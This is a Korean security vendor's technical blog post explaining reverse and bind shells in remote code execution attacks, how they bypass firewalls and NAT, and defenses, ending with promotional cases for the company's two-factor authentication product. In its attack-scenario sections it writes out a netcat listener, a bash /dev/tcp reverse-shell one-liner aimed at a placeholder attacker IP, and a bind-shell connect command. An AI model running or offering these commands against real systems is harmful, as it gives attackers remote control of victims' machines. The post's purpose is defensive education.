주식회사 누리아이티

정보자산의 보안강화를 위한 다계층 인증SW (BaroPAM) 전문기업.

▶ BaroSolution/기술문서

원격코드 실행(RCE) 공격에 사용되는 리버스 쉘과 바인드 쉘의 대응 방안

누리아이티 2025. 5. 21. 09:05

"기본 보안부터 철저히 해야"
 
현재의 보안체계로는 정보자산을 충분히 지킬 수 없다는 거, 보안 전문가라면 다 알고 있다.
 
주요 인프라 공격의 85%가 "패치, 2차 인증(추가 인증), 최소 권한 원칙" 등 기본적인 수준의 보안을 지키지 않아서 발생한 것으로 나타났다.

랜섬웨어를 포함한 침해 사고의 80~90%가 원격 접속과 관련된 문제다.
 
보안 솔루션 중 도입해야 할 1순위가 우회 및 원격접속을 차단할 수 있는 2차 인증 솔루션이다.
 
기본 보안 정책만 지켜도 대부분의 공격은 막을 수 있다.
 
원격 코드 실행(RCE, Remote Code Execution) 공격은 해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 공격자가 조직의 컴퓨터나 네트워크에서 악성 코드를 실행할 수 있는 공격이다.

공격자가 제어하는 코드를 실행하는 기능은 추가 맬웨어를 배포하거나 중요한 데이터를 탈취하는 등 다양한 목적으로 사용될 수 있다.

1. 리버스 쉘(Reverse Shell)
 
'리버스 쉘(Reverse Shell)'은 컴퓨터 네트워크 보안 분야에서 사용되는 개념으로, 공격자가 공격 대상 시스템에 원격으로 접근하여 명령을 실행할 수 있도록 하는 기술이다.

일반적인 쉘 접속 방식과는 반대로, 피해자 시스템이 공격자 시스템으로 연결을 시도하고, 공격자 시스템이 그 연결을 받아들여 쉘 세션을 생성하는 방식이다.
 
1.1 리버스 쉘의 원리 및 작동 방식
 

 
1) 일반적인 쉘(바인드 쉘)과의 차이
 
① 바인드 쉘 (Bind Shell)
 
공격 대상 시스템이 특정 포트를 열고 외부로부터의 연결을 기다리는 방식이다.

공격자는 이 열린 포트로 직접 연결하여 쉘을 얻는다.

이 방식은 대상 시스템의 방화벽이 외부로부터의 연결을 차단하면 작동하기 어렵다.
 
② 리버스 쉘 (Reverse Shell)
 
공격 대상 시스템이 공격자의 시스템으로 직접 연결을 시도한다.

공격자는 자신의 시스템에서 특정 포트를 열어놓고 피해자 시스템의 연결을 기다린다(리스너).

피해자 시스템이 연결되면, 공격자는 이 연결을 통해 피해자 시스템의 쉘에 접근하여 명령을 내릴 수 있다.
 
2) 리버스 쉘이 주로 사용되는 이유
 
① 방화벽 우회
 
대부분의 방화벽은 외부에서 내부로 들어오는 인바운드(Inbound) 연결은 엄격하게 통제하지만, 내부에서 외부로 나가는 아웃바운드(Outbound) 연결은 비교적 자유롭게 허용하는 경우가 많다.

리버스 쉘은 피해자 시스템이 먼저 외부(공격자)로 연결을 시도하기 때문에 이러한 방화벽의 정책을 우회하기 용이하다.
 
② NAT(Network Address Translation) 환경 우회
 
NAT 환경에서는 외부에서 내부 네트워크의 특정 시스템으로 직접 접근하기 어렵다.

리버스 쉘은 내부 시스템이 외부로 연결을 시작하기 때문에 NAT 환경에서도 작동할 수 있다.
 
3) 공격 시나리오
 
① 공격자는 먼저 자신의 시스템에 특정 포트를 열어놓고 연결을 기다린다 (예: nc -lvp 4444).

② 공격자는 사회 공학적 기법(피싱, 악성 파일 등)이나 시스템의 취약점(웹 취약점, 소프트웨어 버그 등)을 이용하여 피해자 시스템에 악성 스크립트나 코드를 실행시킨다.

③ 피해자 시스템에서 실행된 악성 코드는 공격자의 IP 주소와 포트로 연결을 시도한다 (예: bash -i >& /dev/tcp/공격자IP/4444 0>&1).

④ 연결이 성공하면, 공격자는 자신의 시스템에서 피해자 시스템의 쉘에 대한 제어권을 얻게 된다.

이후 공격자는 피해자 시스템에서 명령을 실행하거나 데이터를 탈취하는 등의 악의적인 행위를 할 수 있다.
 
1.2 리버스 쉘 공격 예방 및 탐지
 
1) 시스템 및 소프트웨어 최신 패치
 
알려진 취약점을 통해 리버스 쉘이 실행되는 것을 막기 위해 항상 최신 보안 패치를 적용한다.
 
2) 강력한 인증
 
강력한 인증 메커니즘(2차 인증)을 사용하고 불필요한 원격 접근을 제한한다.
 
3) 방화벽 강화
 
내부에서 외부로 나가는 아웃바운드 연결에 대한 정책을 강화하여 불필요한 연결을 차단한다.
 
4) 침입 탐지 시스템(IDS) 및 침입 방지 시스템(IPS) 활용
 
비정상적인 네트워크 트래픽이나 의심스러운 쉘 세션 연결을 탐지하고 차단한다.
 
5) 엔드포인트 탐지 및 대응(EDR) 솔루션
 
엔드포인트에서 악성 행위를 탐지하고 대응할 수 있는 EDR 솔루션을 도입하여 리버스 쉘과 같은 공격을 식별하고 방어한다.
 
6) 최소 권한 원칙
 
사용자 및 프로세스에 최소한의 권한만을 부여하여, 만약 시스템이 침해되더라도 피해를 최소화할 수 있도록 한다.
 
7) 보안 인식 교육
 
피싱, 악성 파일 등에 대한 사용자들의 보안 인식을 높여, 공격의 초기 단계를 차단할 수 있도록 한다.
 
8) 로그 분석
 
시스템 및 네트워크 로그를 주기적으로 검토하여 의심스러운 활동이나 연결 시도를 탐지한다.
 
리버스 쉘은 공격자들이 방화벽을 우회하고 원격 제어권을 얻는 데 효과적인 수단이기 때문에, 이에 대한 이해와 적절한 방어 전략은 사이버 보안에서 매우 중요하다.
 
 
2. 바인드 쉘(Bind Shell)
 
'바인드 쉘(Bind Shell)'은 '리버스 쉘(Reverse Shell)'과 함께 컴퓨터 네트워크 보안 분야에서 사용되는 원격 쉘 접속 방식 중 하나다.

두 방식 모두 공격자가 원격 시스템의 명령줄에 접근하는 것을 목표로 하지만, 작동 방식과 네트워크 연결 방향에서 큰 차이가 있다.
 
2.1 바인드 쉘의 원리 및 작동 방식
 

 
1) 원리
 
① 공격 대상 시스템(피해자 시스템)이 특정 포트를 열고(바인딩) 외부로부터의 연결을 기다린다.

② 공격자는 이 열린 포트로 직접 연결을 시도하여 피해자 시스템의 쉘에 접근한다.
 
2) 작동 방식
 
① 피해자 시스템
 
악성 코드나 취약점 공격을 통해 피해자 시스템에 쉘 프로그램을 특정 포트에 바인딩하도록 만든다.

예를 들어, 쉘(예: /bin/sh 또는 cmd.exe)을 4444번 포트에 연결하여 외부 연결을 기다리도록 설정한다.
 
② 공격자 시스템
 
공격자는 피해자 시스템의 IP 주소와 열려 있는 포트(예: 4444번)로 직접 연결을 시도한다.

예를 들어, nc [피해자_IP] 4444와 같은 명령어를 사용한다.
 
③ 쉘 획득
 
연결이 성공하면 공격자는 피해자 시스템의 쉘에 접근하여 명령을 실행할 수 있게 된다.
 
2.2 바인드 쉘의 특징 및 한계
 
1) 쉬운 이해와 구현
 
리버스 쉘보다 개념적으로 이해하기 쉽고 구현이 간단한 경우가 많다.
 
2) 방화벽 및 NAT 문제
 
① 방화벽
 
가장 큰 한계는 방화벽이다.
 
대부분의 기업 및 개인 방화벽은 외부에서 내부로 들어오는 인바운드(Inbound) 연결을 기본적으로 차단하거나 매우 엄격하게 제한한다.

바인드 쉘은 피해자 시스템이 포트를 열고 외부 연결을 기다려야 하므로, 방화벽에 의해 해당 포트가 차단되면 공격자는 연결할 수 없다.
 
② NAT (Network Address Translation)
 
NAT 환경에서도 바인드 쉘은 작동하기 어렵다.

외부 공격자가 내부 네트워크의 특정 시스템으로 직접 접근하려면 라우터에서 포트 포워딩(Port Forwarding)이 설정되어 있어야 하는데, 이는 일반적이지 않다.
 
2.3 바인드 쉘이 효과적인 경우
 
바인드 쉘은 주로 다음과 같은 경우에 더 효과적일 수 있다.
 
1) 내부 네트워크 공격
 
공격자가 이미 피해자 시스템이 속한 내부 네트워크에 침투하여 방화벽의 인바운드 정책을 우회할 수 있는 위치에 있는 경우다.
 
2) 방화벽이 없거나 약한 시스템
 
테스트 환경이나 보안 설정이 미흡한 시스템에서 활용될 수 있다.
 
3) 외부에서 내부로의 접근이 허용된 특정 서비스 포트
 
예를 들어, 웹 서버의 80/443 포트와 같이 외부에서 접근이 허용된 포트에 쉘을 바인딩하고, 해당 포트로 공격자가 연결하는 경우다.

하지만 이는 서비스 가용성 문제나 탐지 위험을 높일 수 있다.
 
 
3. 바인드 쉘과 리버스 쉘의 비교 (핵심 차이)
 

특징 바인드 쉘 (Bind Shell) 리버스 쉘 (Reverse Shell)
연결 주체 **공격자 (클라이언트)**가 피해자에게 연결 **피해자 (클라이언트)**가 공격자에게 연결
연결 방향 공격자 -> 피해자 (인바운드 연결) 피해자 -> 공격자 (아웃바운드 연결)
리스너 피해자 시스템이 특정 포트에서 연결을 기다림 공격자 시스템이 특정 포트에서 연결을 기다림
방화벽 우회 인바운드 방화벽에 의해 쉽게 차단됨. 아웃바운드 방화벽이 느슨한 경우 우회 용이.
NAT 우회 포트 포워딩 필요 (어려움). 내부에서 외부로 연결하므로 NAT 우회 용이.
장점 설정이 간단함. 방화벽 우회에 효과적 (주요 장점)
단점 방화벽에 의해 쉽게 차단될 수 있음.
NAT 환경에서 직접 접근 어려움.
피해 시스템에서 악성 코드를 실행해야 함.
주요 사용처 내부 네트워크 환경에서 방화벽이 느슨하거나 없는 경우.
직접 접근이 가능한 경우.
외부에서 내부 네트워크로 침투할 때 (가장 일반적).
방화벽이 외부 연결을 차단하는 경우.

 
결론적으로, 바인드 쉘은 특정 조건(방화벽이 없거나 내부 네트워크에 이미 침투한 경우)에서 유용할 수 있지만, 일반적인 인터넷 환경에서 방화벽과 NAT를 우회해야 하는 공격 시나리오에서는 리버스 쉘이 훨씬 더 보편적이고 효과적인 방법으로 사용된다.
 
 
4. 해킹 사례
 
4.1 Windows 환경
 
해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 SQL Injection 공격으로 PowerShell를 통한 원격접속 서비스를 활성화한 후 원격데스크탑(RDP) 연결로 원격 접속을 시도하였는데, 2차 인증(추가 인증) 솔루션인 BaroPAM으로 인하여 원격 접속을 차단한 사례.
 

 
4.2 Linux/Unix 환경
 
해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 (리버스 쉘, 바인드 쉘)원격코드 실행(RCE, Remote Code Execution)을 통한 계정 및 SSH key 생성, 권한 상승 등을 활용하여 원격 접속을 시도하였는데, 2차 인증(추가 인증) 솔루션인 BaroPAM으로 인하여 su, sudo 등 명령어 실행이나 ssh/sftp를 이용한 원격 접속 등을 차단한 사례.